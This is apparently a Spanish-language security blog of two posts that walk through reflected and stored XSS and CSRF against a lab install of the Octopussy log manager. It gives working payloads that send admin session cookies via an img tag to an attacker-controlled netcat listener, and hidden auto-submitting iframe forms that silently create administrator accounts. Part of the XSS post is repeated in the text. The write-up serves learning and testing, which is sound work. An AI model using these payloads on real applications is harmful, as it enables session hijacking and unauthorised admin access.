Prueba 3: session hijacking!!! Ahora ya sabemos cómo ver la cookie, solo necesitamos poder enviarnosla remotamente para luego poder utilizarla. La manera mas utilizada de hacer esto es mediante la famosa etiqueta <img>. La idea básicamente es que en el atributo src de nuestra etiqueta img apuntemos hacia algún servidor web bajo nuestro control incluyendo la cookie como parámetro en una petición GET.
Como no merece la pena levantar un servidor web para hacer solamente esta prueba, se me ocurrió utilizar lisa y llanamente netcat (la navaja suiza TCP/IP como le dicen :P). Entonces puse netcat a escuchar en el puerto 8080 de la pc 172.16.62.1.
Ahora el link al que debería acceder nuestro administrador desprevenido es: https://172.16.62.145:8888/dialog.asp?id=delete_user&arg1=%3Cscript%3Edocument.write%28%27%3Cimg%20src=http://172.16.62.1:8080/%27+%2bdocument.cookie+%2b+%27%3E%27%29%3C/script%3E
Y nuevamente aparece la imagen rota que nada dice, pero que muuucho hace.
Y en nuestro netcat recibimos la cookie como parámetro en el GET:
Listo, ya tenemos la cookie, no necesitamos ni usuario ni password. Para comprobar que la cookie obtenida funciona, eliminamos toda las cookies de firefox, de tal forma que si ingresamos a https://172.16.62.145:8888/system.asp veremos:
Ahora cargamos manualmente la cookie con cookiemanager:
Volvemos a ingresar a https://172.16.62.145:8888/system.asp y ahora...:
Total y absoluto control :D, sesión secuestrada con éxito!
Esta técnica a mi criterio se trata de una combinación de CSRF y XSS, ya que por un lado tenemos la ejecución de una petición de manera encubierta sobre una aplicación remota (el hecho de lograr que el administrador ejecute el link) y la inserción de código javascript para el robo del token de sesión.
Prueba 4: Luego del robo de sesión exitoso seguí probando cosas sin sentido y me encontré con algo mas que gracioso. Sin tener una sesión iniciada, solamente conociendo el formulario de la creación de usuarios podemos crearnos nuestro propio usuario admnistrador!!!
Utilizando el formulario de la prueba 1 de CSRF (CSRF2.html) del post anterior se puede crear el usuario eviladministrator:
Una vez creado iniciamos sesión:
INCREIBLE... pero si.
Prueba 5: los 3 primeros casos se trataron de XSS de tipo reflajados o indirectos, que como ya dijimos NO son persistentes (solo vuelven a funcionar si el usuario presiona el link nuevamente). Ahora vamos a buscar un caso de XSS directo o persistente para ver de qué se trata.
Haciendo uso de la vulnerabilidad de la Prueba 4, en el campo de nombre ponemos <script>document.write('<img src=http://172.16.62.1:8000/'+document.cookie+'>');</script> y agregamos el nuevo usuario.
Ahora cuando algún usuario se autentique en la aplicación y vaya a la sección de usuarios verá lo siguiente:
En la imagen anterior además se ven otras pruebas, una de ellas consiste en poner en el nombre del usuario <script>document.write(document.cookie)</script>. Esta prueba en particulara se trata de una de las imágenes rotas. Si controlamos nuestro netcat vemos:
Decimos que se trata de un XSS persistente ya que los datos están grabados en la base de datos de usuarios. Siempre que un usuario ingrese a esta parte de la aplicación nosotros recibiremos su cookie, porque se ejecutará el XSS.
Para quienes quieran un poco mas de XSS acá va: https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet
En esencia existen dos tipos de vulnerabilidades XSS:
-Indirectas o reflejadas: estas no perduran en el tiempo, y se trata de la modificación de parámetros entre una página y otra. Generalmente se trata de variables que se van a mostrar en el sitio.
-Directas o persistentes: consisten en lograr insertar código script de manera permanente en la aplicación web. Este tipo de XSS se presenta por lo general en sitios que permitan publicar contenido.
Mi conejo de indias volverá a ser Octopussy (la misma instalación del post anterior), ya que ha demostrado ser un buen ejemplo (o mal ejemplo, depende de donde se lo mire :P) para probar estas vulnerabilidades.
Entonces el objetivo principal es lograr insertar código javascript para por ejemplo: robar las cookies de sesión (también conocido como session-hijacking, secuestro de sesion).
Luego de probar un rato me encontré con que el lugar mas sencillo para explotar XSS es la página de eliminación de usuarios, mas precisamente en el link: https://172.16.62.145:8888/dialog.asp?id=delete_user&arg1=usuario.
Prueba 1: ejecución del clásico mensaje con la función alert(). Para esto vamos a jugar con el parámetro arg1 que podemos ver se encuentra escrito en el código de fuente, por lo cual intuimos que es un potencial XSS INDIRECTO. Primero cambiamos usuario por una palabra cualquiera, como aquelarre.
Queda confirmado que el argumento arg1 es luego usado para construir el sitio que vemos. Entonces ahora solo nos queda introducir en arg1 algo de javascript. Reemplazamos aquelarre por <scrip>alert("XSS!!!")</script>
Prueba 2: obteniendo la cookie de sesión. Como dijimos antes, la idea sería poder obtener el token de sesión para poder tomar la identidad del administrador, para eso necesitamos la cookie asignada a su sesión. Para ver las cookies con javascript utilizamos document.cookie, y la podemos ver utilizando alert de la siguiente forma: <script>alert(document.cookie)</script>
Prueba 3: session hijacking!!! Ahora ya sabemos cómo ver la cookie, solo necesitamos poder enviarnosla remotamente para luego poder utilizarla. La manera mas utilizada de hacer esto es mediante la famosa etiqueta <img>. La idea básicamente es que en el atributo src de nuestra etiqueta img apuntemos hacia algún servidor web bajo nuestro control incluyendo la cookie como parámetro en una petición GET.
Como no merece la pena levantar un servidor web para hacer solamente esta prueba, se me ocurrió utilizar lisa y llanamente netcat (la navaja suiza TCP/IP como le dicen :P). Entonces puse netcat a escuchar en el puerto 8080 de la pc 172.16.62.1.
Ahora el link al que debería acceder nuestro administrador desprevenido es: https://172.16.62.145:8888/dialog.asp?id=delete_user&arg1=%3Cscript%3Edocument.write%28%27%3Cimg%20src=http://172.16.62.1:8080/%27+%2bdocument.cookie+%2b+%27%3E%27%29%3C/script%3E
Y nuevamente aparece la imagen rota que nada dice, pero que muuucho hace.
Y en nuestro netcat recibimos la cookie como parámetro en el GET:
Listo, ya tenemos la cookie, no necesitamos ni usuario ni password. Para comprobar que la cookie obtenida funciona, eliminamos toda las cookies de firefox, de tal forma que si ingresamos a https://172.16.62.145:8888/system.asp veremos:
Ahora cargamos manualmente la cookie con cookiemanager:
Volvemos a ingresar a https://172.16.62.145:8888/system.asp y ahora...:
Total y absoluto control :D, sesión secuestrada con éxito!
Esta técnica a mi criterio se trata de una combinación de CSRF y XSS, ya que por un lado tenemos la ejecución de una petición de manera encubierta sobre una aplicación remota (el hecho de lograr que el administrador ejecute el link) y la inserción de código javascript para el robo del token de sesión.
Prueba 4: Luego del robo de sesión exitoso seguí probando cosas sin sentido y me encontré con algo mas que gracioso. Sin tener una sesión iniciada, solamente conociendo el formulario de la creación de usuarios podemos crearnos nuestro propio usuario admnistrador!!!
Utilizando el formulario de la prueba 1 de CSRF (CSRF2.html) del post anterior se puede crear el usuario eviladministrator:
Una vez creado iniciamos sesión:
INCREIBLE... pero si.
Prueba 5: los 3 primeros casos se trataron de XSS de tipo reflajados o indirectos, que como ya dijimos NO son persistentes (solo vuelven a funcionar si el usuario presiona el link nuevamente). Ahora vamos a buscar un caso de XSS directo o persistente para ver de qué se trata.
Haciendo uso de la vulnerabilidad de la Prueba 4, en el campo de nombre ponemos <script>document.write('<img src=http://172.16.62.1:8000/'+document.cookie+'>');</script> y agregamos el nuevo usuario.
Ahora cuando algún usuario se autentique en la aplicación y vaya a la sección de usuarios verá lo siguiente:
En la imagen anterior además se ven otras pruebas, una de ellas consiste en poner en el nombre del usuario <script>document.write(document.cookie)</script>. Esta prueba en particulara se trata de una de las imágenes rotas. Si controlamos nuestro netcat vemos:
Decimos que se trata de un XSS persistente ya que los datos están grabados en la base de datos de usuarios. Siempre que un usuario ingrese a esta parte de la aplicación nosotros recibiremos su cookie, porque se ejecutará el XSS.
Para quienes quieran un poco mas de XSS acá va: https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet
Etiquetas:
cookie,
CSRF,
hacking,
html,
javascript,
login,
octopussy,
vulnerabilidad,
XSS
viernes, 1 de marzo de 2013
Un poco de CSRF
Aca de nuevo trayendo algo que me interesó hace unos días y me parecía que valía la pena probar y comentar acá. Se trata de las vulnerabilidades de tipo CSRF (Cross Site Request Forgery), también se las conoce por otros nombres, pero este es el mas usado.
¿Qué es CSRF?
Básicamente se trata de un tipo de ataque mediante el cual se intenta que la víctima realice una determinada operación en una aplicación web sin saberlo. Esta técnica se aprovecha de aplicaciones web que tienen una estructura de peticiones predecibles.
El detalle está en que si el usuario se encuentra autenticado en la aplicación el browser mismo ocultará la operación incluyendo en la petición las credenciales de autenticación (cookie, basic-auth, etc), como si se tratara de una petición completamente legítima.
Y como sabemos... muchas veces los usuarios NO cierran las sesiones de sus aplicaciones web como corresponde y sumado al hecho de que a veces las cookies no expiran en tiempos razonables... booooom! CSRF attack!!!
Ejemplo:
Supongamos que tenemos un sitio www.sitiodeprueba.com. Se trata de una aplicación PHP escrita a mano y que una vez lograda la autenticación con mi usuario y contraseña me asigna una cookie de sesión con la cual se autentica en cada petición. La aplicación permite cargar usuarios, modificarlos y eliminarlos. Cuando ingresamos a la opción de agregar usuario nos encontramos con un formulario sencillo con dos campos input uno de nombre y otro de contraseña y por último el botón de "Nuevo Usuario".
En HTML sería algo así:
<form name="agregar_usuario" method="GET" action="usuarios.php">
<tr>
<input type="text" name="nombre"></td>
<input type="password" name="password"></td>
<input type="submit" name="submit" value="Nuevo Usuario">
</tr>
</form>
Este formulario, si ingresamos como nombre y password Juan y luego presionamos el botón "Nuevo Usuario", sencillamente se transforma en http://www.sitiodeprueba.com/usuarios.php?nombre=Juan&password=Juan y se envía como una petición de tipo GET.
Si ahora escribimos en la barra de dirección del browser www.sitiodeprueba.com/usuarios.php?nombre=Ramon&password=Ramon123 , estariamos creando el usuario de nombre Ramon y de password Ramon123. Esto se trata de una petición (GET en este caso) predecible, la petición NO incluye atributos que la distingan de la anterior o de la próxima. De una forma muy similar se puede lograr lo mismo si se trata de peticiones de tipo POST.
Entonces para explotar una vulnerabilidad CSRF se necesitan: un usuario autenticado y una petición que sea fácilmente reproducible. Pero falta algo mas... falta lograr que el usuario autenticado realice la petición en cuestión y en lo posible sin que se de cuenta!!! Hay varias formas de hacer llegar la petición a la víctima, algunas mas camufladas que otras. Las formas van desde: enviar por correo los links, hasta insertar el código en un sitio web el cual sabemos que la víctima visita frecuentemente.
Prueba de concepto:
Bien, ahora vamos a probar la teoría. La situación de prueba es la siguiente.
Tenemos una máquina virtual (172.16.62.145) con un software de administración de logs llamado octopusy (versión 1.0-4, la versión que viene con Ubuntu 12.04.2 LTS). Esta aplicación se encuentra en el puerto 8888 (HTTPS).
Si iniciamos sesión como administrador vemos que se nos asigna una cookie de sesión, la cuál nos autentica luego en cada petición que le hacemos a la aplicación:
Viendo un poco la aplicación resulta que tiene varias peticiones que se podrían reproducir fácilmente y hacer CSRF.
En el menú de usuarios podemos agregar, modificar y borrar usuarios.
Si vemos un poco el código de fuente (HTML) de user.asp, agregar un nuevo usuario consiste en el siguiente formulario:
...
<form name="unknown" method="POST" action="./user.asp">
<tr class="box">
<td class="box">
<input type="text" name="login"></td>
<td class="box">
<input type="password" name="password" value=""></td>
<td class="box" align="center" ></td>
<td class="box">
<select name="AAT_Language">
EN<option value="EN">Ingles</option>
FR<option value="FR">Frances</option>
DE<option value="DE">Aleman</option>
IT<option value="IT">Italiano</option>
PT<option value="PT">Portugues</option>
RU<option value="RU">Ruso</option>
ES<option selected value="ES">Español</option>
</select></td>
<td class="box">
<select name="user_role">
admin<option value="admin">Admin</option>
ro<option value="ro">Read Only</option>
rw<option value="rw">Read Write</option>
restricted<option value="restricted">Restricted</option>
</select></td>
<td class="box">
<select name="status">
Enabled<option value="Enabled">Habilitado</option>
Disabled<option value="Disabled">Deshabilitado</option>
</select></td>
<td class="box" align="center" colspan="3"><input type="submit" name="submit" value="Nuevo Usuario"></td>
</tr>
</form>
...
Es un formulario POST común y sin ninguna particularidad que nos impida reproducirlo. Entonces empiezan las pruebas.
Prueba 1: reproducción sencilla del formulario para agregar un nuevo usuario. En esta prueba solamente aislamos y reproducimos el formulario. NOTA: ahora el atributo action de la etiqueta form debe llevar la dirección completa del recurso, en nuestro caso https://172.16.62.145:8888/user.asp.
<html>
<head>
<title>Prueba CSRF</title>
</head>
<body>
<p>Prueba de csrf 2</p>
<p>Reproducción sencilla del formulario de creación de nuevo usuario.</p>
<p>
<form name="unknown" id="unknown" method="POST" action="https://172.16.62.145:8888/user.asp">
<tr class="box">
<td class="box"><input type="text" name="login" value="malo"></td>
<td class="box"><input type="password" name="password" value="malo"></td>
<td class="box">
<select name="AAT_Language">
EN<option value="EN">Ingles</option>
FR<option value="FR">Frances</option>
DE<option value="DE">Aleman</option>
IT<option value="IT">Italiano</option>
PT<option value="PT">Portugues</option>
RU<option value="RU">Ruso</option>
ES<option selected value="ES">Español</option>
</select>
</td>
<td class="box">
<select name="user_role">
admin<option value="admin">Admin</option>
ro<option value="ro">Read Only</option>
rw<option value="rw">Read Write</option>
restricted<option value="restricted">Restricted</option>
</select>
</td>
<td class="box">
<select name="status">
Enabled<option value="Enabled">Habilitado</option>
Disabled<option value="Disabled">Deshabilitado</option>
</select>
</td>
<input type="submit" name="submit" value="Nuevo Usuario">
</tr>
</form>
</p>
</body>
</html>
Si abrimos con el browser el archivo CSRF2.html veremos:
Una vez que presionemos el botón "Nuevo Usuario" veremos:
Tenemos creado el nuevo usuario, nombre=malo password=malo!!! Ahora ya sabemos que el ataque es posible, solo hay que lograr ocultarlo para que no sea tan evidente.
Prueba 2: ahora vamos a automatizar y ocultar el ataque de forma tal que la víctima no vea qué sucedió. Para lograr esto vamos a requerir la ayuda de los famosos iframe y javascript.
Por un lado tenemos el archivo CSRF3.html:
<html>
<head>
<title>Prueba CSRF</title>
</head>
<body>
<h2>Prueba de CSRF 3</h2>
<p>Haciendo una petición por POST con un formulario automático, dentro de un iframe casi invisible.</p>
<p>Resultado: creación de un nuevo usuario con privilegios de administrado llamado "malo2".</p>
<iframe src="formulario_nuevo_usuario.html" width="0" height="0">
</body>
</html>
Un HTML sencillo que podría ser un sitio cualquiera, pero que contiene un iframe de tamaño despreciable y que carga el archivo formulario_nuevo_usuario.html. Este último html es el que contiene nuestra nueva versión reducida del formulario de alta de usuario, que es la siguiente:
<form name="unknown" id="unknown" method="POST" action="https://172.16.62.145:8888/user.asp">
<tr class="box">
<td class="box">
<input type="text" name="login" value="malo2"></td>
<td class="box">
<input type="password" name="password" value="malo"></td>
<td class="box">
<select name="AAT_Language">
ES<option selected value="ES">Español</option>
</select>
</td>
<td class="box">
<select name="user_role">
admin<option selected value="admin">Admin</option>
</select>
</td>
<td class="box">
<select name="status">
Enabled<option selected value="Enabled">Habilitado</option>
</select>
</td>
</tr>
</form>
<script>document.unknown.submit();</script>
Sencillamente recortamos las selecciones de las etiquetas select y dejamos seleccionadas las características que queremos que tenga el usuario (idioma español, rol admin y que esté activado), quitamos el botón "Nuevo Usuario" y por último agregamos una linea de javascript que procesa el formulario automáticamente.
Si ahora abrimos nuestro archivo CSRF3.html nos encontramos con:
Nada... un cuadradito pequeño allí que poco importa a quien no sospecha de nada y menos aún si se camufla en un gran sitio web con muchos colores e imágenes. Pero... si vamos a ver los usuarios vemos:
Prueba 3: muchas veces resulta ser que tanto las peticiones GET como las POST son procesadas indistintamente por las aplicaciones. Esto quiere decir que podría no ser necesario recurrir a los trucos de las 2 pruebas anteriores... ¿Por qué no probar enviar una petición GET con los mismo campos que la petición POST?
link: https://172.16.62.145:8888/user.asp?login=malo3&password=malo&AAT_Language=ES&user_role=admin&status=Enabled
Resultado:
Si bien se muestra el usuario creado, es imposible acceder con el mismo y se ve claramente que no tomó los atributos que indicamos. Esto indica que la aplicación se comporta de manera diferente ante una petición GET con los mismos atributos.
Prueba 4: por último vamos a ver el caso más sencillo de ocultar y se trata justamente de las peticiones GET. Las peticiones GET se pueden enmascarar por ejemplo con una etiqueta html img. Buscando un poco en la aplicación vemos que esto se podría hacer en la opción de eliminar usuario. Cuando decidimos eliminar un usuario se nos presenta una nueva página donde podemos elegir entre confirmar nuestra operación o cancelarla.
Como podemos ver, el link del botón de ok es claramente una petición de tipo GET.
https://172.16.62.145:8888/user.asp?login=malo3&action=remove
Ahora ya sabemos que si hacemos click en un link solamente indicando el nombre del usuario y la acción remove, podemos eliminarlo de la aplicación (siempre y cuando quien haga click se haya autenticado previamente con los privilegios necesarios, en nuestro caso el administrador).
Paso siguiente creamos el archivo CSRF4.html con el siguiente contenido:
<html>
<head>
<title>Prueba CSRF</title>
</head>
<body>
<h2>Prueba de CSRF 4</h2>
<p>Haciendo CSRF por GET a través de un tag img.</p>
<p>Resultado: eliminación del usuario de nombre "malo".</p>
<p>
<img src="https://172.16.62.145:8888/user.asp?login=malo3&action=remove"/>
</p>
</body>
</html>
La línea que lo hace todo es <img src="https://172.16.62.145:8888/user.asp?login=malo3&action=remove"/> por lo tanto alcanzaría insertar esa línea en cualquier sitio que la víctima visite frecuentemente.
Si abrimos el archivo con el browser vemos:
Simplemente una imagen que desgraciadamente no pudo cargarse, que pena...
Pero en la aplicación se pueden ver las consecuencias de esa imagen sin cargar:
El usuario malo3 ha sido eliminado por el usuario admin sin que este último tenga la mas mínima intención.
Resultados de las pruebas:
-Crear usuarios
-Eliminar usuarios
Situación hipotética: supongamos por un segundo que este servidor pertenece a la red privada de una organización y que existe en el firewall principal una regla de redirección que les permite a los administradores acceder remotamente a la aplicación (porque los administradores a veces trabajn desde sus casas :P). Si los atacantes lograran que los administradores ejecuten alguna de las pruebas hechas anteriormente, podrían hacerse con un usuario y contraseña válidos para ingresar a la aplicación remotamente, sin necesidad de estar en la red privada. Esto significa que podrían hacer con los logs lo que quieran. A partir de allí podrían buscar otras vulnerabilidades en la aplicación y comenzar a escalar privilegios, desde un servidor en la red privada... OMG!!!
Ja... todo lo que podría pasar con un solo click, no?
Para quienes quieran interiorizar en CSRF, busquen el white paper de Jesse Burns "Cross Site Request Forgery An introduction to a common web application weakness". También en http://www.google.com/search?q=CSRF .
Saludossss
Suscribirse a:
Entradas (Atom)